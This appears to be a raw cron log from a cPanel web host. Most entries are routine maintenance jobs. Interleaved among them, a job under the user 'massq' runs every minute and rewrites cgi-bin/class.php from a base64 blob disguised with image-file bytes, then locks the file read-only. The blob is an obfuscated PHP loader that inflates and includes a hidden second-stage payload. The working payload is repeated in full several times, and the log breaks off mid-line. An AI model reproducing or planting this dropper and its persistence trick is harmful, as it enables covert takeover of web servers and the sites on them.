Sep  5 00:39:01 server CROND[24129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:39:01 server CROND[24131]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 00:39:01 server CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:39:01 server CROND[24132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:40:01 server CROND[24525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:40:01 server CROND[24528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:40:01 server CROND[24529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:40:01 server CROND[24526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:40:01 server CROND[24531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:40:01 server CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:40:01 server CROND[24532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:40:01 server CROND[24527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:41:01 server CROND[25474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:41:01 server CROND[25475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:41:01 server CROND[25476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:42:01 server CROND[25867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:42:01 server CROND[25869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:42:01 server CROND[25870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:42:01 server CROND[25868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:43:01 server CROND[26269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:43:01 server CROND[26271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:43:01 server CROND[26270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:44:01 server CROND[26658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:44:01 server CROND[26659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:44:01 server CROND[26660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:45:01 server CROND[27037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:45:01 server CROND[27039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:45:01 server CROND[27041]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:45:01 server CROND[27044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:45:01 server CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:45:01 server CROND[27040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:45:01 server CROND[27042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:46:01 server CROND[27854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:46:01 server CROND[27855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:46:01 server CROND[27856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:47:01 server CROND[28364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:47:01 server CROND[28365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:47:01 server CROND[28366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:48:01 server CROND[28750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:48:01 server CROND[28751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:48:01 server CROND[28749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:49:01 server CROND[29125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:49:01 server CROND[29126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:49:01 server CROND[29127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:50:01 server CROND[29517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:50:01 server CROND[29518]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:50:01 server CROND[29520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:50:01 server CROND[29525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:50:01 server CROND[29526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:50:01 server CROND[29529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:50:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:50:01 server CROND[29528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:50:01 server CROND[29530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBes